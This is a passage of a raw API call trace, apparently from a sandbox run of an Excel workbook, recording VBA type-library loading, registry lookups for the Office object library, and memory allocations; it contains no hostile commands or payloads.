_Value=0x2, _Buffer=0x22ee3a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0089.806] _ultow_s (in: _Value=0x0, _Buffer=0x22ee3e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0089.806] _ultow_s (in: _Value=0x0, _Buffer=0x22ee42, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0089.806] wcscpy_s (in: _Destination=0xb4ed408, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0089.806] wcscpy_s (in: _Destination=0xb4ed40e, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0089.806] wcscpy_s (in: _Destination=0xb4ed45a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0089.806] wcscpy_s (in: _Destination=0xb4ed468, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0089.806] wcscpy_s (in: _Destination=0xb4ed4a8, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0089.806] ITypeLib:LocalReleaseTLibAttr (This=0xb825f00) returned 0x0 [0089.806] wcscpy_s (in: _Destination=0x4bc8c60, _SizeInWords=0x104, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0089.807] wcscpy_s (in: _Destination=0x7400950, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0089.807] IMalloc:Free (This=0x7feffc15380, pv=0x4bc8c60) [0089.807] IUnknown:AddRef (This=0xb825f00) returned 0x4 [0089.807] IUnknown:QueryInterface (in: This=0xb825f00, riid=0x7fee60885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x22f138 | out: ppvObject=0x22f138*=0x0) returned 0x80004002 [0089.807] ITypeLib:RemoteIsName (in: This=0xb825f00, szNameBuf="stdole", lHashVal=0x106093, pfName=0x22f2f0, pBstrLibName=0x22f220 | out: pfName=0x22f2f0*=0, pBstrLibName=0x22f220) returned 0x0 [0089.807] IUnknown:Release (This=0xb825f00) returned 0x3 [0089.807] IMalloc:Alloc (This=0x7feffc15380, cb=0x24) returned 0xb8bf840 [0089.807] IMalloc:Free (This=0x7feffc15380, pv=0x71f4630) [0089.807] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8bf870 [0089.807] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8bf870, cb=0x50) returned 0xb494f40 [0089.807] IMalloc:Free (This=0x7feffc15380, pv=0xb8bf840) [0089.807] IMalloc:Alloc (This=0x7feffc15380, cb=0x9a) returned 0xb7facc0 [0089.808] IMalloc:Free (This=0x7feffc15380, pv=0xb7facc0) [0089.808] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0x22f6c0 | out: pclsid=0x22f6c0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0 [0089.808] IMalloc:Alloc (This=0x7feffc15380, cb=0x8c) returned 0x73a4dd0 [0089.808] _ultow_s (in: _Value=0x2, _Buffer=0x22f54a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0089.808] _ultow_s (in: _Value=0x8, _Buffer=0x22f54e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0089.808] _ultow_s (in: _Value=0x0, _Buffer=0x22f552, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0089.808] wcscpy_s (in: _Destination=0xb3c1988, _SizeInWords=0x9b, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0089.808] wcscpy_s (in: _Destination=0xb3c198e, _SizeInWords=0x98, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0089.808] wcscpy_s (in: _Destination=0xb3c19da, _SizeInWords=0x72, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0089.808] wcscpy_s (in: _Destination=0xb3c19e8, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0089.808] wcscpy_s (in: _Destination=0xb3c1a74, _SizeInWords=0x25, _Source="Microsoft Office 14.0 Object Library" | out: _Destination="Microsoft Office 14.0 Object Library") returned 0x0 [0089.808] IMalloc:Free (This=0x7feffc15380, pv=0x73a4dd0) [0089.811] wcsncpy_s (in: _Destination=0x72b8238, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0 [0089.811] wcscpy_s (in: _Destination=0x72b8298, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0089.811] wcscpy_s (in: _Destination=0x72b8322, _SizeInWords=0x26, _Source="#Microsoft Office 14.0 Object Library" | out: _Destination="#Microsoft Office 14.0 Object Library") returned 0x0 [0089.811] wcscpy_s (in: _Destination=0x7400a10, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0089.811] wcsncpy_s (in: _Destination=0x22f310, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0089.811] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0089.811] IMalloc:Alloc (This=0x7feffc15380, cb=0x136) returned 0xb9c9720 [0089.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0xb9c9720, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0089.812] IMalloc:Free (This=0x7feffc15380, pv=0xb9c9720) [0089.812] IMalloc:Realloc (This=0x7feffc15380, pv=0xb862bb0, cb=0x880) returned 0xb5455d0 [0089.812] wcscpy_s (in: _Destination=0xb545a18, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0089.812] wcsncpy_s (in: _Destination=0x22f350, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0089.812] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0089.812] IMalloc:Alloc (This=0x7feffc15380, cb=0x136) returned 0xb9c9720 [0089.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0xb9c9720, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0089.812] IMalloc:Free (This=0x7feffc15380, pv=0xb9c9720) [0089.812] wcsncpy_s (in: _Destination=0x22f310, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.812] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchLength=0x36 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls") returned 0x36 [0089.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", cchWideChar=55, lpMultiByteStr=0x22f240, cbMultiByte=110, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 55 [0089.812] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0 [0089.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x22f5f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0089.812] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0089.813] strcpy_s (in: _Dst=0x22f3d0, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0089.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22f3d0, cbMultiByte=7, lpWideCharStr=0x22f220, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0089.813] IUnknown:AddRef (This=0xb825960) returned 0x3 [0089.813] ITypeLib:RemoteIsName (in: This=0xb825960, szNameBuf="Office", lHashVal=0x107515, pfName=0x22f2f0, pBstrLibName=0x22f220 | out: pfName=0x22f2f0*=0, pBstrLibName=0x22f220) returned 0x0 [0089.813] IUnknown:Release (This=0xb825960) returned 0x2 [0089.813] IUnknown:AddRef (This=0xb824b50) returned 0x2 [0089.813] ITypeLib:RemoteIsName (in: This=0xb824b50, szNameBuf="Office", lHashVal=0x107515, pfName=0x22f2f0, pBstrLibName=0x22f220 | out: pfName=0x22f2f0*=0, pBstrLibName=0x22f220) returned 0x0 [0089.813] IUnknown:Release (This=0xb824b50) returned 0x1 [0089.813] IUnknown:AddRef (This=0xb825f00) returned 0x4 [0089.813] ITypeLib:RemoteIsName (in: This=0xb825f00, szNameBuf="Office", lHashVal=0x107515, pfName=0x22f2f0, pBstrLibName=0x22f220 | out: pfName=0x22f2f0*=0, pBstrLibName=0x22f220) returned 0x0 [0089.813] IUnknown:Release (This=0xb825f00) returned 0x3 [0089.813] IMalloc:Alloc (This=0x7feffc15380, cb=0x208) returned 0x4bc8c60 [0089.813] wcscpy_s (in: _Destination=0x72b8238, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0089.813] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x22e9d0 | out: phkResult=0x22e9d0*=0xab6) returned 0x0 [0089.814] RegOpenKeyW (in: hKey=0xab6, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x22e9c8 | out: phkResult=0x22e9c8*=0xab2) returned 0x0 [0089.814] RegEnumKeyW (in: hKey=0xab2, dwIndex=0x0, lpName=0x22e9f8, cchName=0xa | out: lpName="2.6") returned 0x0 [0089.815] RegEnumKeyW (in: hKey=0xab2, dwIndex=0x1, lpName=0x22e9f8, cchName=0xa | out: lpName="2.7") returned 0x0 [0089.815] RegEnumKeyW (in: hKey=0xab2, dwIndex=0x2, lpName=0x22e9f8, cchName=0xa | out: lpName="2.8") returned 0x0 [0089.815] wcscpy_s (in: _Destination=0x22e9e0, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0089.815] RegOpenKeyW (in: hKey=0xab2, lpSubKey="2.8", phkResult=0x22ea88 | out: phkResult=0x22ea88*=0xcf2) returned 0x0 [0089.816] _ultoa_s (in: _Val=0x0, _DstBuf=0x22ea00, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0089.816] RegOpenKeyA (in: hKey=0xcf2, lpSubKey="0", phkResult=0x22e9f0 | out: phkResult=0x22e9f0*=0xc12) returned 0x0 [0089.816] RegOpenKeyW (in: hKey=0xc12, lpSubKey="win64", phkResult=0x22e9f8 | out: phkResult=0x22e9f8*=0xd42) returned 0x0 [0089.817] RegCloseKey (hKey=0xd42) returned 0x0 [0089.817] RegCloseKey (hKey=0xc12) returned 0x0 [0089.817] _ultow_s (in: _Value=0x0, _Buffer=0x22ea90, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0089.817] RegOpenKeyW (in: hKey=0xcf2, lpSubKey="0", phkResult=0x22ea68 | out: phkResult=0x22ea68*=0xc8e) returned 0x0 [0089.818] RegQueryValueW (in: hKey=0xc8e, lpSubKey="win64", lpData=0x22eab0, lpcbData=0x22ea64 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x22ea64) returned 0x0 [0089.818] wcscpy_s (in: _Destination=0x4bc8c60, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0089.818] RegCloseKey (hKey=0xc8e) returned 0x0 [0089.818] RegCloseKey (hKey=0xcf2) returned 0x0 [0089.819] RegCloseKey (hKey=0xab2) returned 0x0 [0089.819] RegCloseKey (hKey=0xab6) returned 0x0 [0089.819] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x22f0d8*=0x0 | out: pptlib=0x22f0d8*=0xb8264a0) returned 0x0 [0089.854] IUnknown:QueryInterface (in: This=0xb8264a0, riid=0x7fee6085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x22eed8 | out: ppvObject=0x22eed8*=0x0) returned 0x80004002 [0089.854] ITypeLib:RemoteGetLibAttr (in: This=0xb8264a0, ppTLibAttr=0x22eed0, pDummy=0x10 | out: ppTLibAttr=0x22eed0, pDummy=0x10) returned 0x0 [0089.854] ITypeLib:RemoteGetDocumentation (in: This=0xb8264a0, index=-1, refPtrFlags=0x0, pbstrName=0x22eec8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x72b8296 | out: pbstrName=0x22eec8*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x72b8296) returned 0x0 [0089.854] StringFromGUID2 (in: rguid=0xb3dd570*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x22eef0, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0089.854] _ultow_s (in: _Value=0x2, _Buffer=0x22ee3a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0089.854] _ultow_s (in: _Value=0x8, _Buffer=0x22ee3e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0089.854] _ultow_s (in: _Value=0x0, _Buffer=0x22ee42, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0089.854] wcscpy_s (in: _Destination=0x71b0518, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0089.854] wcscpy_s (in: _Destination=0x71b051e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0089.854] wcscpy_s (in: _Destination=0x71b056a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0089.854] wcscpy_s (in: _Destination=0x71b0578, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0089.854] wcscpy_s (in: _Destination=0x71b05f8, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0089.854] ITypeLib:LocalReleaseTLibAttr (This=0xb8264a0) returned 0x0 [0089.854] wcscpy_s (in: _Destination=0x4bc8c60, _SizeInWords=0x104, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0089.855] IMalloc:Realloc (This=0x7feffc15380, pv=0x74005d0, cb=0xd00) returned 0xba5b1c0 [0089.855] wcscpy_s (in: _Destination=0xba5b738, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0089.855] IMalloc:Free (This=0x7feffc15380, pv=0x4bc8c60) [0089.855] IUnknown:AddRef (This=0xb8264a0) returned 0x2 [0089.855] IUnknown:QueryInterface (in: This=0xb8264a0, riid=0x7fee60885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x22f138 | out: ppvObject=0x22f138*=0x0) returned 0x80004002 [0089.855] ITypeLib:RemoteIsName (in: This=0xb8264a0, szNameBuf="Office", lHashVal=0x107515, pfName=0x22f2f0, pBstrLibName=0x22f220 | out: pfName=0x22f2f0*=0, pBstrLibName=0x22f220) returned 0x0 [0089.855] IUnknown:Release (This=0xb8264a0) returned 0x1 [0089.855] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xb940a60 [0089.855] IMalloc:Free (This=0x7feffc15380, pv=0xb494f40) [0089.855] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c2030 [0089.855] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2030, cb=0x5c) returned 0xb470f10 [0089.855] IMalloc:Free (This=0x7feffc15380, pv=0xb940a60) [0089.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x22f430, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0089.857] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0089.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x22f570, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0089.857] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0089.857] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d9d80, cb=0x8) returned 0xb8da6c0 [0089.857] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61e7f0 [0089.857] IMalloc:GetSize (This=0x7feffc15380, pv=0xb61e7f0) returned 0x80 [0089.857] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb528610 [0089.857] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb528790 [0089.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x22f430, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0089.858] CoCreateGuid (in: pguid=0x22f160 | out: pguid=0x22f160*(Data1=0x6daf3d46, Data2=0x3748, Data3=0x49c6, Data4=([0]=0x9a, [1]=0x1e, [2]=0x5d, [3]=0x3e, [4]=0x6d, [5]=0xde, [6]=0xe0, [7]=0x45))) returned 0x0 [0089.858] CoCreateGuid (in: pguid=0x22f170 | out: pguid=0x22f170*(Data1=0xc83ae9af, Data2=0xb210, Data3=0x4fed, Data4=([0]=0x9b, [1]=0x95, [2]=0x72, [3]=0xec, [4]=0xe9, [5]=0x34, [6]=0x1b, [7]=0xda))) returned 0x0 [0089.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x22f180, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0089.858] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0089.858] GetLocalTime (in: lpSystemTime=0x22f058 | out: lpSystemTime=0x22f058*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0xa, wMinute=0x18, wSecond=0x3, wMilliseconds=0x159)) [0089.858] _ultow_s (in: _Value=0x5dbeaac3, _Buffer=0xba5b4ac, _BufferCount=0x9, _Radix=16 | out: _Buffer="5dbeaac3") returned 0x0 [0089.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015dbeaac3", cchWideChar=11, lpMultiByteStr=0x22eff0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015dbeaac3", lpUsedDefaultChar=0x0) returned 11 [0089.858] IMalloc:Alloc (This=0x7feffc15380, cb=0x170) returned 0xb9c72e0 [0089.858] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb494f40 [0089.858] strcpy_s (in: _Dst=0xb51cf80, _DstSize=0xd, _Src="ThisWorkbook" | out: _Dst="ThisWorkbook") returned 0x0 [0089.858] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d8f10, cb=0x68) returned 0xb470f80 [0089.858] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0089.858] wcscpy_s (in: _Destination=0xba5b4c0, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0 [0089.859] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0089.859] wcscpy_s (in: _Destination=0xba5b4e0, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0 [0089.859] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d8f20, cb=0x12) returned 0xb5bc5b0 [0089.859] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8d8f00, cb=0x6) returned 0xb8d8f20 [0089.859] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0x7309730 [0089.859] IMalloc:Free (This=0x7feffc15380, pv=0xb470f10) [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c2030 [0089.859] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2030, cb=0x68) returned 0xb470f10 [0089.859] IMalloc:Free (This=0x7feffc15380, pv=0x7309730) [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x71c1070 [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c2030 [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb5bc6b0 [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61e880 [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d8f00 [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d8f10 [0089.859] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0x74005d0 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61e910 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0xba3c210 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c2060 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8d9d80 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8da6d0 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8c2090 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61e9a0 [0089.860] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 